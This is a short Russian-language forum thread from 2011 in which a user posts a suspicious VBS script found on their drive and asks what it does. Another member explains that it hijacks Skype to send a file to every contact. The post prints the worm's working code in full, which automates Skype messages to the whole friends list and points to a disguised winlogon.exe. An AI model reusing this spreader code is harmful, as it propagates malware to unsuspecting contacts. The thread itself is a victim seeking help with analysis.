VBS-скрипт

Discussion in 'Безопасность и Анонимность' started by COOLBOY007, 28 Jul 2011.

  1. COOLBOY007

    COOLBOY007 Elder - Старейшина

    Joined:
    9 Jun 2009
    Messages:
    76
    Likes Received:
    43
    Reputations:
    22
    Сегодня обнаружил у себя файл ***.vbs в корне системного диска с Виндой со следующим содержимым:
    Code:
    on error resume next
    set Fruxr = WScript.CreateObject(Skype4COM.Skype, Skype_)
    Fruxr.Client.Start()
    Fruxr.Attach("C:\Documents and Settings\Администратор\Application Data\netz\netz\1.0.0.0\winlogon.exe")
    For Each KZN In Fruxr.Friends
    Fruxr.Sendsaythis KZN.handle,lolmehot
    next
    
    В папке C:\Documents and Settings\Администратор\Application Data\netz\netz\1.0.0.0\ ничего не было.
    Погуглив, я узнал, что это часть bat-вируса, но следов действий этого вируса, кроме vbs-скрипта, у меня не было.
    По этому у меня есть 2 вопроса:
    1. Что делает вышеуказанный vbs-скрипт?
    2. Можно ли как-то узнать, запускался ли он, либо какой либо другой bat или vbs файл?
     
  2. backd00r

    backd00r Banned

    Joined:
    17 Jan 2010
    Messages:
    6
    Likes Received:
    2
    Reputations:
    0
    этот скрипт, берет управление скайпом,и отсылает им всем файл exe
     
  3. COOLBOY007

    COOLBOY007 Elder - Старейшина

    Joined:
    9 Jun 2009
    Messages:
    76
    Likes Received:
    43
    Reputations:
    22
    Если отправить сообщение через этот скрипт, они будут отображаться в истории сообщений в Скайпе?
     
  4. backd00r

    backd00r Banned

    Joined:
    17 Jan 2010
    Messages:
    6
    Likes Received:
    2
    Reputations:
    0
    да все проделанные действия вирусом будут отображаться в истории в скайпе
     
    1 person likes this.
  5. COOLBOY007

    COOLBOY007 Elder - Старейшина

    Joined:
    9 Jun 2009
    Messages:
    76
    Likes Received:
    43
    Reputations:
    22
    Это радует, в Скайпе ничего нету. :)

    Жду ответа на второй вопрос.